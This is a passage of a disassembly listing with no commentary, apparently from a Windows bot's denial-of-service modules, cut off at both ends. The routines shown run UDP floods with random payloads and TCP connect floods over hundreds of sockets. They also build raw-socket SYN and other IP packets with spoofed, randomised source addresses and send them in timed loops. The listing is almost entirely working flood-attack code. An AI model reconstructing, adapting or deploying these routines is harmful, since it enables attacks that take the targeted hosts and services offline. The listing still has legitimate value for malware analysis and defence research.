call sub_415C3F
push [ebp+var_30]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_413D05 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E91 proc near ; DATA XREF: sub_401CC7+57DCo
var_10311 = byte ptr -10311h
var_10310 = byte ptr -10310h
Dest = byte ptr -334h
var_134 = dword ptr -134h
Str = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
push 11h
push 2
push 2
call dword_4E3178 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+Dst], 2
push eax
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_413F76
lea eax, [ebp+var_B0]
push eax
call dword_4E317C ; gethostbyname
cmp eax, edi
jnz short loc_413F6F
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset asc_44CDA0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_413F52
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_409D34
add esp, 14h
loc_413F52: ; CODE XREF: sub_413E91+9Fj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_20]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_413F6F: ; CODE XREF: sub_413E91+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_413F79
; ---------------------------------------------------------------------------
loc_413F76: ; CODE XREF: sub_413E91+6Ej
lea eax, [ebp+arg_0]
loc_413F79: ; CODE XREF: sub_413E91+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_413F94
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_413F97
; ---------------------------------------------------------------------------
loc_413F94: ; CODE XREF: sub_413E91+F0j
push [ebp+var_24]
loc_413F97: ; CODE XREF: sub_413E91+101j
call dword_4E30F8 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_413FA9
mov [ebp+var_24], esi
loc_413FA9: ; CODE XREF: sub_413E91+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_413FB6
mov [ebp+var_24], eax
loc_413FB6: ; CODE XREF: sub_413E91+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_413FCA
mov [ebp+var_28], esi
loc_413FCA: ; CODE XREF: sub_413E91+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_413FEB
loc_413FD1: ; CODE XREF: sub_413E91+158j
call _rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi+var_10311], dl
jl short loc_413FD1
loc_413FEB: ; CODE XREF: sub_413E91+13Ej
; sub_413E91+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_41404A
push 0Bh
pop esi
loc_413FF8: ; CODE XREF: sub_413E91+197j
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4E315C ; sendto
push [ebp+var_28]
call ds:dword_4F534C ; Sleep
dec esi
jnz short loc_413FF8
cmp [ebp+var_24], edi
jnz short loc_413FEB
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4E30F8 ; htons
mov [ebp+var_E], ax
jmp short loc_413FEB
; ---------------------------------------------------------------------------
loc_41404A: ; CODE XREF: sub_413E91+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset asc_44CDC8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_41408A
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_409D34
add esp, 14h
loc_41408A: ; CODE XREF: sub_413E91+1D7j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_20]
call sub_40BA72
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
sub_413E91 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4140A7 proc near ; DATA XREF: sub_401CC7+4E6Do
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_414208
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_44CDF4 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414127
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409D34
add esp, 14h
loc_414127: ; CODE XREF: sub_4140A7+5Ej
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_4140A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414146 proc near ; CODE XREF: sub_414208+27p
var_654 = byte ptr -654h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4E30F8 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_414204
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_414191: ; CODE XREF: sub_414146+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_414199: ; CODE XREF: sub_414146+7Aj
push 0
push 1
push 2
call ds:dword_4F553C ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4141BC
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_4F5514 ; ioctlsocket
loc_4141BC: ; CODE XREF: sub_414146+64j
add esi, 4
dec ebx
jnz short loc_414199
lea esi, [ebp+var_654]
mov ebx, edi
loc_4141CA: ; CODE XREF: sub_414146+96j
lea eax, [ebp+Dst]
push 10h
push eax
push dword ptr [esi]
call ds:dword_4F5530 ; connect
add esi, 4
dec ebx
jnz short loc_4141CA
push 64h
call ds:dword_4F534C ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_4141EE: ; CODE XREF: sub_414146+B4j
push dword ptr [esi]
call ds:dword_4F5538 ; closesocket
add esi, 4
dec ebx
jnz short loc_4141EE
dec [ebp+arg_4]
jnz short loc_414191
pop edi
pop esi
pop ebx
loc_414204: ; CODE XREF: sub_414146+3Ej
xor eax, eax
leave
retn
sub_414146 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_414208(int,char *Str,int)
sub_414208 proc near ; CODE XREF: sub_4140A7+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AE55
push [esp+10h+Str] ; Str
mov edi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov esi, eax
push esi
push ebx
push edi
call sub_414146
add esp, 18h
test eax, eax
jnz short loc_41423E
push 1
pop eax
loc_41423E: ; CODE XREF: sub_414208+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41424D proc near ; DATA XREF: sub_401CC7+64CAo
Dest = byte ptr -414h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_190 = byte ptr -190h
var_110 = dword ptr -110h
Str = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax ; int
lea eax, [ebp+var_190]
push eax ; Str
lea eax, [ebp+var_210]
push eax ; int
call sub_41459E
add esp, 0Ch
push eax
lea eax, [ebp+Dest]
push offset asc_44CE20 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4142CD
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_409D34
add esp, 14h
loc_4142CD: ; CODE XREF: sub_41424D+5Ej
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_41424D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142EC proc near ; CODE XREF: sub_41459E+3Cp
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
Dst = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4E3068 ; WSAStartup
test eax, eax
jz short loc_41432C
xor eax, eax
jmp loc_41459A
; ---------------------------------------------------------------------------
loc_41432C: ; CODE XREF: sub_4142EC+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4E319C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_414592
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4E30D8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_414588
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_8]
call dword_4E30F8 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4E30F8 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4E30F8 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4E30F8 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call ds:dword_4F540C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call __allmul
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414417: ; CODE XREF: sub_4142EC+25Dj
; sub_4142EC+26Bj
mov [ebp+var_24], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4E30F8 ; htons
mov [ebp+var_34], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_4E30F8 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4E30F4 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4E30F8 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AFCA
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_34]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_8C]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AFCA
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4E315C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_41455C
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414585
jl loc_414417
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414585
jmp loc_414417
; ---------------------------------------------------------------------------
loc_41455C: ; CODE XREF: sub_4142EC+247j
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CE48 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 10h
jmp short loc_414588
; ---------------------------------------------------------------------------
loc_414585: ; CODE XREF: sub_4142EC+25Bj
; sub_4142EC+269j
mov ebx, [ebp+arg_8]
loc_414588: ; CODE XREF: sub_4142EC+78j
; sub_4142EC+297j
push [ebp+var_C]
call dword_4E3190 ; closesocket
pop esi
loc_414592: ; CODE XREF: sub_4142EC+5Bj
call dword_4E3050 ; WSACleanup
mov eax, ebx
loc_41459A: ; CODE XREF: sub_4142EC+3Bj
pop edi
pop ebx
leave
retn
sub_4142EC endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41459E(int,char *Str,int)
sub_41459E proc near ; CODE XREF: sub_41424D+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AE55
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4142EC
add esp, 1Ch
test eax, eax
jnz short loc_4145E9
push 1
pop eax
loc_4145E9: ; CODE XREF: sub_41459E+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_41459E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4145F8 proc near ; DATA XREF: sub_401CC7+6EC5o
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call _atoi
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4E3138 ; inet_addr
push eax
call sub_41469B
pop ecx
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_44CE68 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_41467C
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_409D34
add esp, 14h
loc_41467C: ; CODE XREF: sub_4145F8+62j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_10]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_4145F8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41469B proc near ; CODE XREF: sub_4145F8+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Src = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Memory = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4E310C ; gethostname
push [ebp+var_4]
call dword_4E317C ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4E3178 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4E30D8 ; setsockopt
mov esi, 200h
push esi ; Size
call _malloc
mov edi, ds:dword_4F537C
pop ecx
mov [ebp+Memory], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4E30F8 ; htons
mov [ebp+var_96], ax
loc_4147B6: ; CODE XREF: sub_41469B+1FCj
call edi ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_41489C
call _rand
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call _rand
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call _rand
cdq
mov ecx, 1FA4h
mov [ebp+Src], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call _rand
mov [ebp+var_20], ax
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4E30F8 ; htons
push esi
mov [ebp+var_1E], ax
call dword_4E30F8 ; htons
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call _rand
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+Src]
push eax
call sub_40AFCA
mov [ebp+var_1A], ax
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
push [ebp+Memory] ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+Memory]
push [ebp+var_4]
call dword_4E315C ; sendto
jmp loc_4147B6
; ---------------------------------------------------------------------------
loc_41489C: ; CODE XREF: sub_41469B+12Cj
push [ebp+Memory] ; Memory
call _free
pop ecx
push [ebp+var_4]
call dword_4E3190 ; closesocket
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_41469B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4148B6 proc near ; DATA XREF: sub_401CC7+5469o
Dest = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
Str = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
Src = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_4F537C
call edi ; GetTickCount
push eax ; Seed
call _srand
pop ecx
push 0FFh
push 3
push 2
call dword_4E3178 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_41497F
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CE88 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_41495F
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409D34
add esp, 14h
loc_41495F: ; CODE XREF: sub_4148B6+84j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_BC]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_41497F: ; CODE XREF: sub_4148B6+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4E30D8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_4149FD
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CEBC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_4149DD
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409D34
add esp, 14h
loc_4149DD: ; CODE XREF: sub_4148B6+102j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_BC]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4149FD: ; CODE XREF: sub_4148B6+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_414A6D
lea eax, [ebp+Dest]
push offset asc_44CEF4 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_414A4D
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_409D34
add esp, 14h
loc_414A4D: ; CODE XREF: sub_4148B6+172j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_BC]
call sub_40BA72
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_414A6D: ; CODE XREF: sub_4148B6+157j
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push ebx
call dword_4E30F8 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4E3138 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_414AA5: ; CODE XREF: sub_4148B6+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_414D69
push 28h
mov [ebp+var_2C], 45h
